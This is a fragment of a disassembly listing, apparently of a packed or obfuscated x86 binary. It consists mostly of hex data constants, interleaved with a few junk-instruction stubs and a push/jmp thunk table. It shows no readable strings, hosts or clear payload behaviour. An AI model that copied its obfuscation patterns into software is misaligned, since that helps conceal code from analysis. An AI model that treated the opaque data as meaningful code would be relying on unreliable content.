5B0016E4h, 0F764AF7Dh, 95C64B19h, 7A01E5B7h dd 84D45098h, 4A4431Dh, 1249CD11h, 9B7928EFh, 391744CDh dd 0D854ACAh, 0B6F2EE9Bh, 0C15014F7h, 0DE33779Ah, 0C159F7Dh dd 0BA78F0D6h, 0CB937E59h, 0B21BB772h, 4B95E003h, 6BC128B2h dd 8512F5A4h, 78BB0B26h, 0B57A60A3h, 86939B56h, 8200E351h dd 280E4DC4h, 0D99F7863h, 16F931ACh, 1BD709A0h, 11978BBh dd 0BDA3B85Eh, 0BB1C5436h, 0E796D978h, 82098109h, 78BB1CA0h dd 2AFFE225h, 5F0217AEh, 0BA81A4B7h, 0E8AD250Bh, 0A415664Ch dd 0D2898C2Fh, 0D0B34023h, 5472B35Eh, 77355DCh, 38F872B4h dd 965D80DBh, 448704E7h, 7D5FE65Eh, 0B472B407h, 3EDDBB1Ch dd 0E3AA8F4Bh, 70F3E812h, 9AC67574h, 77FFE279h, 0EB0EED04h dd 7572E7FEh, 0EB1F0CEEh, 9F4E91DEh, 4D2732B9h, 6C2CD8E3h dd 0CB92B5A6h, 60F9F91Ch, 9E5CD4BAh, 0B0AB6975h, 3417C68Dh dd 0D969F2A7h, 1692ED2h, 0CA04E2A1h, 0BE017E61h, 64F71AD8h dd 259B886h, 867572CBh, 322E8FB7h, 6D4h, 78560512h, 13F16AAAh dd 0B290CB45h, 4F2D2EE4h, 0E9C79481h, 5CB91E4Eh, 0C35321FFh dd 27ECBA98h, 89885634h, 3E22F4D2h, 0D451D5B7h, 0E1805A84h dd 4BD2D148h, 7EC76B69h, 0BF06BA7h, 0AC3319C8h, 78BA4F4Dh dd 4F0C0ACAh, 0D0B6652Ch, 0A9D50212h, 80548AE6h, 3604E291h dd 5C5A7DDEh, 2E5769Eh, 5188D33Eh, 11A5BF36h, 65AEAA0Bh dd 81000006h, 19E7C596h, 0B48260FBh, 5321FF5Ch, 0F0BE9CBFh dd 0BD583625h, 6EED28AFh, 754C290h, 0A3B85B29h, 411AF7C5h dd 26AD9163h, 84D45244h, 4A50EFC9h, 0EED18A8Ch, 4D33EB6Eh dd 0BA4F67C6h, 0EC24E478h, 173A21F2h, 0B77EA150h, 0AD642208h dd 0D246D0AEh, 0AA66240Ah, 2B1FBE2Dh, 35E4A387h, 0A74DD452h dd 0E478BAAEh, 9A717EA1h, 2878BAAEh, 87FE057Ah, 4E49572h dd 39h, 0CD0482Bh, 6BC19F26h, 0FB3E7EC7h, 18BF5715h, 0E67ABAA7h dd 31540372h, 0BFCC876Ah, 7EC85CE9h, 0F81DDB77h, 8BF08063h dd 87C31174h, 77ADEh, 4CA10000h, 1A1h, 0DEEBF3E9h, 87CB1F7Bh dd 0F536149Ch, 0EDB8FE3Bh, 1AC97845h, 0F9CAAD34h, 0C4F78BFh dd 5139A91Ch, 37F52915h, 1F9F82D9h, 77FEE43Ah, 0C30E206Ch dd 0B0B2E71h, 30129916h, 0B5C30EC1h, 0C0D2B43Bh, 1457C30Eh dd 16F87F65h, 9BC30EC1h, 3CC3A958h, 0BD043E87h, 0DD9B81C4h dd 0F467AA34h, 7D5B0AD1h, 0C2F962AFh, 0CD5C04CFh, 45151172h dd 0A1000005h, 3907E576h, 0D4A280DBh, 73411F3Ch, 10DEBC9Fh dd 0DD785605h, 8ECD488Fh, 2734E2B0h, 0C3987B49h, 61FA17E5h dd 46CDB183h, 84D45364h, 4A700FE9h, 139A8A8Ch, 7EC76B31h dd 0E1C473B6h, 4467F41Dh, 47CEDD44h, 7EC76B65h, 0AB74A7EAh dd 0FDF146F1h, 78FFE594h, 78C097B9h, 7D5B3F6h, 811A510Ah dd 0C0119F13h, 4DA635Fh, 0B0C0000h, 70A47250h, 0D13F0DEBh dd 34DEAC8Ah, 9A7B4927h, 2448E3C1h, 1BF962B3h, 0B492C94Dh dd 502E2DE6h, 0EECC8F82h, 0CFB1381Ch, 5484D453h, 0D04DB7Ah dd 2AE72B4Eh, 474F0E31h, 0F06BA670h, 0B51C6912h, 326FDE88h dd 96000000h, 4BD2D148h, 7EC76B69h, 16FCABEEh, 0C06A048Fh dd 0E0C60978h, 6AFFE168h, 418478C0h, 0C096A35Eh, 4E78C06Bh dd 6124DBA0h, 2AE48FB1h, 4Dh, 9D14851h, 0B5E29C23h, 672778BFh dd 488CAFACh, 0A76E91CAh, 0EB6349F8h, 9073E82Dh, 351348CCh dd 0DF02E8ADh, 0D4DC7CDFh, 3C6F1E3Dh, 34109BF1h, 18E719Ah dd 78BF912Ah, 0C4AAB160h, 2C4F0C06h, 3E0C8265h, 666285D6h dd 414h, 8A8C4A03h, 0C2619ED1h, 6A6C0B40h, 0CC120787h dd 66605FE6h, 0DA1D78C0h, 24F4B9B7h, 2316C531h, 41D09477h dd 60B3F71Ah, 8094D8FBh, 3EACB8DBh, 0BD31A79h, 73ABAEB4h dd 1907068Dh, 81C472B9h, 1F3CD5A3h, 0BD65FCFCh, 0D46550D7h dd 0E72A6CB1h, 48CB8901h, 9C3C1E13h, 0FAC16CB2h, 0FBE57C1Ch dd 4A2DDCD7h, 0AE15838Fh, 0D8BE9D74h, 4164F71Ah, 944318FDh dd 0A8B13BB1h, 1A058C72h, 0DF66AB5Dh, 0DC35799Ch, 0FD185C7Fh dd 1DF73B5Eh, 961D1B3Eh, 66AC1DB4h, 9402F639h, 0E7C702Fh dd 72A8B1A9h, 0C056148Ch, 0CEB1789Bh, 0A43D5641h, 0F2D81B60h dd 0FD11F37Ah, 0E9560A4h, 60A4FD2Ch, 46896EB1h, 0A065ED63h dd 0DCCF6BF2h, 0EAAE9137h, 0CD113427h, 6F2D1348h, 0CD94B7A4h dd 0A303C29Ah, 381BF9BEh, 80DB397Dh, 64F7195Dh, 3470F641h dd 0C6A1A1F1h, 5D3A81B5h, 0AD694E16h, 8F19F764h, 0E76E548Ah dd 5A9C85FCh, 5D5B7EC1h, 4E7C5EE5h, 0BE015A9Dh, 61FA17DBh dd 0FFC4323Eh, 462CF267h, 0EDCF56CEh, 725A9D4Dh, 0D4BF4C2Fh dd 99549568h, 61B27056h, 2D10D7FAh, 3328E9B7h, 1645CC10h dd 73ABAE38h, 4133068Dh, 3FB74E8Fh, 8F20D6B8h, 35185B4Eh dd 3E48F1B8h dd 83FAE229h, 0CEA4B1D4h, 44E8EA4h, 0E2264912h, 0C062932h dd 8256057Ah, 2D58EFD4h, 5E0EC17Bh, 2Eh, 9D14885h, 9BC59C23h dd 0FF4278BFh, 3AF9CFDCh, 0EB8778C0h, 0B786D126h, 14DBFE5Dh dd 1D83B8E1h, 2ED5AA3Ah, 0E4908D57h, 0F134h, 8C4A5B00h dd 6DB1D487h, 0CB92B5A6h, 9C75391Ch, 0BD589CBFh, 0DA377B9Eh dd 6AE1C34Ah, 0F4187EC7h, 8887CD77h, 5D3C03E8h, 4948ACF1h dd 9CBF6E1Dh, 2833E09Eh, 0CB908145h, 46FD56EDh, 0D63B7EC8h dd 38D9A785h, 73E82EECh, 0C8409C7Eh, 2FDE217Eh, 96150C0Ch dd 0C8402D0Fh, 0C06FB27Eh, 68D853DAh, 0D79C78C0h, 8537DBF6h dd 8A07EAB2h, 7ADF6947h, 8B37BEA4h, 0D072B624h, 2CE9A78Dh dd 62450C2Fh, 6CEF26E4h, 0C741068Eh, 0FDBA1CB4h, 0B164280Bh dd 0E3F273AAh, 0AE0F17A8h, 1D3B2h, 57041300h, 0F269AB79h dd 91CA4614h, 2E2DE5B3h, 0C8938250h, 0BA1D4FEAh, 5422005Bh dd 0EDBB99C2h, 89573526h, 23F5D388h, 56D6B83Fh, 815B84D4h dd 4BD24AE2h, 7EC76B69h, 4C8ABEEh, 9E6C4A11h, 3D02E873h dd 0B805A7E4h, 84FADD9Ah, 0D9C037FCh, 2E2AC921h, 0D148E64Bh dd 0C59C2309h, 4278BF9Bh, 0F9CFDCFFh, 8778C03Ah, 285DE2D9h dd 63E48FE1h, 0A9h, 9072F971h, 1578C02Fh, 48AEFD2h, 0F833CA0Dh dd 6D0708F2h, 0BE579BBEh, 146D7A9Dh, 527EC807h, 0FCDE65BFh dd 817EC7FFh, 0E3B18F3Eh, 0A0A2D2Eh, 62E9CF17h, 78C028E7h dd 0B8369ACh, 0C0DAA284h, 1E42778h, 0C218018Bh, 805055DCh dd 0A4D72B6h, 0ACAF6624h, 61DFC289h, 0BE972A3h, 0E4DC583h dd 0ADAE672Bh, 0A919F976h, 0ABA70817h, 0F0h, 5C3A21F6h dd 0F7D5868Eh, 9674E729h, 33114AC8h, 0CDABB065h, 789D3A32h dd 0DF3705E3h, 43D09E7Ch, 0A56C3A18h, 2206D8B6h, 0D457B99Bh dd 0C5643E84h, 6C4A1104h, 0AE8739Eh, 4E0D049Bh, 58CAA368h dd 0B579B0ABh, 3ED317D2h, 237D5FE6h, 0BF027EC8h, 0B1A83210h dd 99FC8369h, 1E78BB07h, 73A6B55Eh, 4724F643h, 0D4F7A693h dd 0FCDA8190h, 5578E32Eh, 0B9756048h, 9F3FD66Ch, 0FAC1E477h dd 0A32A284Bh, 6CB9C5C1h, 3DD70346h, 343CFB1Eh, 1C9104Fh dd 2DB160BAh, 3E1DF9E5h, 72A5541Bh, 0A20D041h, 0DEBC6BA7h dd 9C230110h, 6CB9A6BAh, 0EBC9FC3Fh, 6675385Eh, 0FA3E6110h dd 0E4DC618h, 0D4303C5Fh, 4C799B0Fh, 12F590B0h, 30E13D82h dd 927F4D2Bh, 19AAA6C9h, 2E000000h, 7B4D2FB6h, 8FD26CB9h dd 0FC2047ACh, 55BE9437h, 91830FBFh, 0D3381BCAh, 25481304h dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h dd 678AD141h, 4B6EED23h, 2B4E0D07h, 4F45682Ah, 4890000h dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 242C895Ch dd 6A2B68h, 24348900h, 223DE6BDh, 9EB85002h, 31042EDEh dd 8B5458C5h, 0C4832434h, 4EC8304h, 8F242C89h, 348B0846h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_4FF07A ; --------------------------------------------------------------------------- dd 9C3BC1E9h, 0EE07B87Bh, 0C503060Ch, 50C2E0FFh, 87B86B68h dd 0BCDD09FEh, 8F3F1B18h, 0C751340Ah, 0F27E2174h, 1BE93E89h dd 24000000h, 44A3AEh, 5 dup(0) dd 8BE90000h, 0C5000005h, 5D2B0952h, 0F8C6A4B7h, 97654318h dd 3402E07Bh, 19C7AE1h, 0B2A96C6Bh, 4B1006D4h, 0E7749F6Dh dd 85D63B09h, 6AF1D5A7h, 84D45988h, 494330Dh, 0F82CA0Dh dd 0D284F563h, 0C9EC6FA6h, 0EC305302h, 86543229h, 99C2538Bh dd 0F27CAF76h, 0E6FE8FF1h, 1D618433h, 464467F4h, 0B0D38888h dd 0D24206E9h, 0F7DEA389h, 0E6C25636h, 0AA09C4A7h, 0D0419DE2h dd 34DFAD8Bh, 987B4927h, 0DF8ECD46h, 0BD9E78BCh, 5B208E9Ah dd 0FB6200C5h, 73B89BFFh, 0D299BC9Fh, 977C4023h, 0A05EE6C4h dd 4307EA71h, 5D6A8DCEh, 7EC7A486h, 71F7CCAEh, 0A49072F9h dd 0D2157EC7h, 783550EFh, 6756DE88h, 7D000000h, 42D10D04h dd 34E3789Ch, 0A6646285h, 7D0AED6Eh, 7EC76BA5h, 0D73FFDCDh dd 6AE4C64Dh, 26697EC7h, 0AA8D5477h, 0E79EA51Ah, 67DE88B1h dd 7E5CA7A2h, 0B55BECB5h, 0DBC83A6h, 1E92Ah, 4A100000h dd 6B694BD2h, 0ABEE7EC7h, 4B1004C8h, 2B30E428h, 0D4EC408h dd 0FCC38BEAh, 8B69F222h, 210754BDh, 0CAADAE63h, 1104E554h dd 31E3274Ah, 45CC442Ah, 7EC76B63h, 7C2A5E8h, 0EB0E4DC3h dd 0C9EC6FA7h, 0DEBD020Ah, 8E482F37h, 28F6D487h, 514F72E9h dd 1D674C8Ch, 7F62720Dh, 0E30655BBh, 0CD7249F7h, 0DE8825C8h dd 934BC886h, 0F1B8DB80h, 75581F42h, 6B34h, 11045B00h dd 6BAA8C13h, 0EC2F7EC7h, 3AD61A3Dh, 0D79FFE21h, 7CDF36E0h dd 8F19D196h, 39AB6CDAh, 312E056h, 21F13558h, 7D2B173Ah dd 225D2206h, 0E907FFF9h, 9AE84BE8h, 64803667h, 0C78BFBDDh dd 8E3D807Eh, 89ACAF62h, 5540DFC2h, 36DE8896h, 4Ah, 4A11045Dh dd 0AB6B2927h, 0E3C68DB0h, 4467F41Fh, 4690E71Bh, 3FAE8CCFh dd 694BD24Ah, 0EE7EC76Bh, 1004C8ABh, 641348CEh, 8B854341h dd 3E6ADD0h, 0C76B9F76h, 9EE5C77Eh, 1249CC8Ah, 0A64528EFh dd 0DE88B1DFh, 1ACh, 8C4AD300h, 31139A8Ah, 0B67EC76Bh dd 1DE1C473h, 14568F3h, 1C284B10h, 30DC9AEh, 61B47258h dd 14C3987Dh, 0D1472AF1h, 260CD247h, 3724F0AEh, 8440C754h dd 0FA3D78BFh, 0DD7E93D7h, 44E031FFh, 0C04CDBBDh, 74A06078h dd 668938E7h, 0FCC0A368h, 0CF8567EEh, 0C70A78BFh, 0B770FA94h dd 54A70C46h, 270AB906h, 0C00EC29Ah, 98DF1378h, 80BD33Eh dd 701F3CD6h, 0E21038Ah, 63A678C0h, 0BC09CEB4h, 62E365ABh dd 9D6BE1C4h, 3C01E774h, 17CF5B32h, 0BE795CB4h, 0DA40977Ah dd 0A47370Dh, 165A7D2Ch, 0BB9D2400h, 4078C015h, 0E72B4EFDh dd 120C2F2Ch, 0B55C3B80h, 0CB1301BFh, 3E61104Bh, 0BF049477h dd 0CFADAE63h, 90075F26h, 0F077EFE4h, 78C0090Eh, 0E36A5093h dd 78C00901h, 1F604386h, 13Dh, 0D2D14846h, 655A0114h, 7EC76B83h dd 3016C508h, 0C06F2EA9h, 0CAB0F378h, 3356050Ch, 8ACE896Ch dd 0A0BB5787h, 0CC4513F1h, 28EBA98Fh, 97955033h, 441FEDD2h dd 9F8256E3h, 22536DBh, 0E0443B43h, 886BF022h, 300E4DC4h dd 903FFE87h, 528DE4h, 48B40000h, 0ED2A88D0h, 7AD175F7h dd 0E998C34Eh, 8FCC4503h, 44C2A56Ch, 0C85BBBBDh, 573D80FEh dd 0AF677799h, 5F1AFDACh, 0C85C7052h, 1166F8FEh, 0E5CB1109h dd 0C85C5C5Eh, 30A8207Eh, 0C85BC7A9h, 14094C7Eh, 7EC85C32h dd 149174B7h, 9A6DF3D1h, 0A000000h, 2309D148h, 0BF8BB19Ch dd 10337678h, 7A9245CCh, 0FE683B52h, 1645D1FDh, 43018967h dd 58030ED0h, 9CBF6E35h, 0E32EF2D5h, 73485578h, 0C478BFA8h dd 22EF2B90h, 0E00358BCh, 28C6A19h, 23E1C71Fh, 3823F0EEh dd 0BC9F4E15h, 9880B73Eh, 0F6BD72B2h, 4286F6E7h, 12F8A78Bh dd 7C9FBC54h, 1917D2B5h, 81A4B75Bh, 0FE13D7BAh, 20F63A5Dh dd 3ED4183Bh, 0A3AFFA1Dh, 0A4744E3h, 0A017DF26h, 6FE6FE6Fh dd 0A8574E12h, 0E97146B4h, 6C4AA70h, 0ED6B4E0Dh, 0A64A2F66h dd 4B296C6Ch, 9D148DCh, 9BE6AB23h, 472E7AD8h, 94CB583Bh dd 0D178BB36h, 56EED057h, 307378BBh, 0F71A5E81h, 56C4A62Dh dd 64978BBh, 66AB7957h, 0C4510FF5h, 0FBF9B497h, 0A386D53Dh dd 0BB2D716h, 84FCB2B6h, 0BFB1BFDh, 315DA036h, 49477E4h dd 30AE63BFh, 8C5376E5h, 0DA39F7DDh, 0B4975E81h, 0BAA1703Eh dd 65BF5397h, 0CCEF6CA7h, 0FB2E1005h, 70B3360Bh, 36929EC1h dd 0DABD9E78h, 68A9754Ah, 0CA4715F3h, 20D1430Dh, 47737212h dd 0BDE08FCCh, 471401BFh, 0CE864h, 0A76C0000h, 76AF2ECEh dd 0B318FB47h, 13041520h, 30E12548h, 4FC4082Bh, 71A5E90Ch dd 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah, 0D074B6Eh dd 682A2B4Eh, 7808h, 68241489h, 2348h db 89h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov eax, 547B2459h and eax, 1555138h neg eax shl eax, 8 shr eax, 3 push ebx mov ebx, 4EAB2F47h inc ebx not ebx shr ebx, 7 xor ebx, 61AF7F90h neg ebx xor ebx, 0A6D30075h and eax, ebx pop ebx sub eax, 0BB43A3Fh push esp mov ebp, [esp] add esp, 4 push ebx mov ebx, eax push ebx add dword ptr [esp], 49E0DC1h pop dword ptr [ebp+8] sub dword ptr [ebp+8], 49E0DC1h pop ebx mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_4FF07A ; --------------------------------------------------------------------------- db 5, 97h, 0D7h dd 0B1B8CC1Eh, 3060CF3h, 30E0FFC5h, 0A1523042h, 0C85DF468h dd 981AEBB4h, 3754EC09h, 9745C436h, 1928EFE9h, 0E86FBD87h dd 2C4BCB0Ch, 1D10E4DDh, 17FED20h, 0AD6BEA71h, 3C51DE31h dd 0E34DE1Ch, 8D30E763h, 0CF59A8Dh, 0C1853106h, 8906070Dh dd 706798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0DF81D306h, 89BDDAh, 9E9h, 76C6D000h dd 857D45B3h, 85C75FA0h, 6072CE5h, 6394h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 26C35040h, 321C6575h dd 210EFC53h, 585C76Ch, 6072Dh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 94D5C355h dd 0FC61D750h, 0F97F2DB4h, 11C5B5FFh, 6A0607h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 5C3B81C3h, 0E9144F50h, 7, 76053A1Bh, 0FFAA1570h, 700BD95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0EDA18F14h, 5D0C4D34h, 33DE8B1Ah, 71EBD95h dd 0FF006A06h, 716B595h, 0EBC08B06h, 0E02A5E2Ch, 0A08A25F2h dd 0E04C296Ah, 1BFC6EC4h, 0C4B3C77Ch, 0B3EE2793h, 60D44CBDh dd 614D732Dh, 0D8FCE5DAh, 0DC2A4253h, 3119FEE3h, 0DE8BCh dd 0B9D70000h, 25150DEEh, 7A3C1953h, 81489517h, 3B5323F7h dd 0BA665B3Eh, 0C3816D1Bh, 6EA6h, 11E9h, 1A263E00h, 0EF11191Eh dd 796F3041h, 212FD7FEh, 68B343h, 89000000h, 71DE985h dd 0FFF95806h, 9D891834h, 607130Dh, 75BD895Eh, 81060730h dd 8FD25DEEh, 0CDB9664Ch, 0D0C681B2h, 8B3EA4E0h, 29F681C8h dd 60272280h, 26ADB589h, 0B8660607h, 5661B8E9h, 4F8ADA81h dd 48F684Fh, 860F6003h, 6, 1DA19D29h, 8B610607h, 71D258Dh dd 4E88306h, 1D159503h, 0F8810607h, 0FFFF9204h, 0FF99850Fh dd 9503FFFFh, 6070FE5h, 0F75F8D8Dh, 6A060Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 22C15EC3h dd 0A6B6FA8Ch, 9CB866F0h, 0C19D8B87h, 89060711h, 706798Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 763D57FAh, 0D41BD33h, 85C70607h, 6072CE5h dd 6E9Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 21C35141h, 0AF9E9AD1h, 6625F5DFh, 85C7C78Bh, 6072D05h dd 0 dd 9DB5FFF8h, 0F060713h, 68Eh, 0E9B58900h, 0FF060709h dd 700BD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 560A58F6h, 590111D3h, 10B5B58Bh dd 6A0607h, 16B595FFh, 0C08B0607h, 0BB9D1FEBh, 0EC5763F9h dd 8F43DDB4h, 0E576A066h, 0B4D58080h, 0B4CCAB84h, 2AF3FE7Dh dd 0C0B9A123h, 5E8FFh, 0C4A20000h, 8BB2E4A0h, 71C9595h dd 0B5895E06h, 6070A2Dh, 6A7DC681h, 9D0B0000h, 6070DCDh dd 0B9h, 0DE900h, 79F00000h, 5D1C9E89h, 367D3CAAh, 8B1E87F0h dd 13E80E3Ch, 49000000h, 0A632219Ch, 58525FB4h, 0D36532A6h dd 6BFF516Eh, 9503CC90h, 60709BDh, 9FC7815Ah, 8B2C1102h dd 714BD9Dh, 13EF8106h, 661F5AA5h, 75B8DA81h, 0D042EF81h dd 81663E0Bh, 57733FC8h, 8F0DCB80h, 0BD890E04h, 6071F45h dd 1641958Bh, 0E9830607h, 0A8B0F03h, 0E9000000h, 5, 0F54DBF8Bh dd 0E881490Bh, 3397B13Eh, 9634F981h, 850FFFFFh, 0FFFFFF83h dd 0E9DE8B66h, 0D3h, 5AD2434Fh, 0CA459CD7h, 0B6E1C8C3h dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h dd 47000000h, 0E3129D74h, 5E99E0h, 6 dup(0) dd 0E9000000h, 15A2h, 0CFB1D68h, 8248E906h, 3C68FFFAh dd 0E9060CFCh, 0FFFA823Eh, 0CFD1568h, 8234E906h, 2868FFFAh dd 0E9060CFEh, 0FFFA822Ah, 0CFEE268h, 8220E906h, 9E68FFFAh dd 0E9060CFFh, 0FFFA8216h, 0D004968h, 820CE906h, 2368FFFAh dd 0E9060D01h, 0FFFA8202h, 0D01DB68h, 81F8E906h, 2B68FFFAh dd 0E9060D03h, 0FFFA81EEh, 0D040768h, 81E4E906h, 5668FFFAh dd 0E9060D05h, 0FFFA81DAh, 0D065C68h, 81D0E906h, 0A068FFFAh dd 0E9060D07h, 0FFFA81C6h, 0D090268h, 81BCE906h, 0C968FFFAh dd 0E9060D0Ah, 0FFFA81B2h, 0D0BD168h, 81A8E906h, 4FC8FFFAh dd 0B4602E0Ch, 15FBC9A7h, 789A6846h, 0DE3705E3h, 68049F7Dh dd 0D7B5A66Fh, 704E0D09h, 0CEA71A2h, 0AA88D33Eh, 8B6DF4D8h dd 1084D464h, 7F067E36h, 84D4649Dh, 0AAB16222h, 2E11C087h dd 4E0D04C9h, 312AE72Bh, 8A50C953h, 7B4A1DA4h, 0FCF78C0h dd 13265902h, 9955F2D3h, 0B1BEE190h, 78BF84DBh, 0D108CD69h dd 0A52E90A6h, 0AF14A487h, 906FED98h, 429EE4h, 48C50000h dd 652309D1h, 9580ACAFh, 0ED65E3C6h, 3E96A328h, 0B1526AB3h dd 0BE5570F0h, 71FEE190h, 78BFDE9Ah, 0A4B1D417h, 78C07DCEh dd 0C148C05Ch, 78C07DDFh, 0AE3E2164h, 9E5332C9h, 0F738E48Fh dd 5F000000h, 2B4E0D04h, 472D2EE7h, 0B1D48789h, 358BEEAh dd 0F0216520h, 55BB23EEh, 6D1CE306h, 0B1D4834Ah, 0D9B7A46Dh dd 0C76E4242h, 2739FE7Eh, 42E9BC82h, 3EC727F8h, 21FFC40Bh dd 6941F8EEh, 0B497154Eh, 543A21F0h, 0FDE07B96h, 358B987h dd 0A179E0E0h, 0FD4134BBh, 400578BFh, 0C84FBFEFh, 78C04FE6h dd 86F5286Bh, 143963A4h, 7039151Ah, 0E07B95C1h, 5F3D80FDh dd 0B0964CD5h, 0B59EEC29h, 0E62972h, 0A288D342h, 92C2FE4h dd 5CFF1642h, 198F7239h, 5A91CA4Bh, 17AA1E01h, 0F1E3DF40h dd 21000012h, 0B98765F6h, 5422005Bh, 0F3C19FBCh, 905E3C1Fh dd 5DF8D685h, 0E4DC80Fh, 0A7B46230h, 4318FBC9h, 0E17A9765h dd 0C64D3103h, 84D465E4h, 4F08F69h, 1645CD11h, 9F7D2CF3h dd 351B40D1h, 0DCBF9C77h, 0F120DE66h, 0F3229EDh, 78769948h dd 0C76B0FF1h, 0A251947Eh, 0D1485ABFh, 0C59C2309h, 4278BF9Bh dd 0A5C89382h, 0FF0C2FDEh, 78C03B29h, 8DB209B7h, 0E48FE1F8h dd 0F593h, 0D04BA00h, 69F0684Eh, 7EC76B87h, 2BE6C90Ch dd 0A2D2EE7h, 0C76DFDFDh, 0BD9E737Eh, 3A9257DFh, 0D5E9FB00h dd 0BA571BFEh, 5D2FA56Ah, 76AA370Ch, 0C6719F81h, 32E1247Eh dd 0D40A0F0Fh, 777467EEh, 0BF3978BFh, 0BF675638h, 0E998DB78h dd 4298810Bh, 0E3789E5Ch, 4C0A8200h, 0AB7295C6h, 0D073BC8h dd 8C4C72B5h, 9D114E89h, 84A721D0h, 3CEBB2D5h, 0F620DE56h dd 23F74265h, 6B78C4C2h, 0C78B6E1Dh, 5A84904Eh, 0B67DA0BBh dd 6E1DE407h, 0A7891088h, 2C72B634h, 0C29006E9h, 54D10853h dd 0AD17AA30h, 11D2504Ch, 0D7400000h, 3CD8A684h, 9D73411Fh dd 12E0BEh, 66AF7D5Bh, 0F07C17F5h, 4F2D2EE7h, 0E8C69581h dd 8462F91Ah, 22005BB6h, 3E56C50h, 8884D467h, 11040FAEh dd 739E6C4Ah, 0A1134064h, 0CA79B31Ch, 429F64ECh, 34CB23EBh dd 3164FD30h, 4E9B2905h, 0D04066Bh, 2AE72B4Eh, 8B855331h dd 0EB72EAD0h, 7EC76B09h, 6B24068Dh, 66A97EC7h, 0A05B3E81h dd 0C8A6B55Ch, 42D7F2E9h, 803EB69Ch, 0E1A8CB90h, 6B9274FBh dd 0D4177EC7h, 978164F1h, 0C30678BFh, 6E8960D3h, 1E036135h dd 80B89844h, 0DCA3C695h, 0B317B2A9h, 90971E04h, 8D7B2F09h dd 0A29B43C6h, 35E4A281h, 0DC7F914Fh, 540FF2B9h, 2F15CD54h dd 2429F3A8h, 7ED3075h, 0B593C849h, 0FA312AE7h, 153C3335h dd 0F96F6BCCh, 19000010h, 0B17F5DFEh, 4C1AF863h, 0EBB997C4h dd 88563427h, 55F0CE8Dh, 655C017h, 9FBC5A28h, 3B20F3C1h dd 0D9828F5Dh, 0BE4529FBh, 84D467DCh, 4E88761h, 2B2B4E0Dh dd 830AF036h, 78C07D90h, 0B42C1255h, 0C0564B2Dh, 0AA8DD078h dd 6FB7AA34h, 354C1189h, 517FF46Bh, 8B0E9B7Eh, 5072B8C4h dd 7DDEA0Dh, 9572B8B6h, 1A6B90E7h, 71EA9766h, 3Ch, 8CD14898h dd 4127D685h, 0BFB500BAh, 8C864478h, 1C2F1198h, 71B478C0h dd 1F62DFC2h, 0C2997B39h, 0FEE17A96h, 0A51C280h, 1CBD952Ch dd 1EF378C0h, 82915F3Dh, 4DBAB6D9h, 57000010h, 2309D148h dd 0BA62D59Ch, 290F5278h, 0D7B5A66Bh, 30530809h, 0BF12930h dd 0AD69E084h, 0EE25E572h, 60D8BE6Dh, 0AD7AF7D9h, 56397C72h dd 609B60D8h, 66F741D2h, 28E9AD90h, 8A875533h, 0F41EC054h dd 0CE7D4467h, 65FCFC1Fh, 1D50D7BDh, 616CA587h, 0F0ED119Ch dd 977AF07Bh, 99A0D71Ah, 681DBA49h, 0FE60B07h, 0EB2C0000h dd 50C49270h, 0B15F2D0Bh, 14FECCAAh, 7A9B6947h, 46803E1h dd 3B1942D3h, 0D4B2A96Dh, 704E0D06h, 0EEC6FA2h, 0EFD1583Ch dd 7484D468h, 8C4AFB9Ah, 0EAB1D487h, 6BA47A07h, 3B1E7EC7h dd 0D85FDE3h, 0C76BA486h, 0BAE6297Eh, 16DD005Bh, 613AA633h dd 0BCFF78BAh, 82995ED6h, 0B15D5F56h, 868B4F32h, 0D52AEFD5h dd 0F5EB0CA9h, 13E1573Ah, 3A3A5DFEh, 5F41C827h, 0E478BB19h dd 4E0CF2A1h, 26AD93C8h, 78BB1944h, 25A386C9h, 0B42BAB9Eh dd 39F76F72h, 0AA8C81DAh, 2E72B404h, 0B403C5A7h, 22074A72h dd 0BF7FFCDFh, 9FE30655h, 8736E576h, 0AC623350h, 0B1AD0E17h dd 0F2Ch, 4C2A31E6h, 0E7C5967Eh, 8664F719h, 23015AB8h dd 0BD9BC055h, 888D4A22h, 0EF27F5D3h, 53C08E6Ch, 0B55C2A08h dd 12F6C8A6h, 0D469A98Bh, 0B5542E84h, 0F7CA0D04h, 0E1672E20h dd 3AF7D786h, 0D5E5B007h, 52BF0326h, 26D5868Ch, 8757BF03h dd 0E3AACD8Eh, 43CD1134h, 3625EC18h, 0C1B6EA13h, 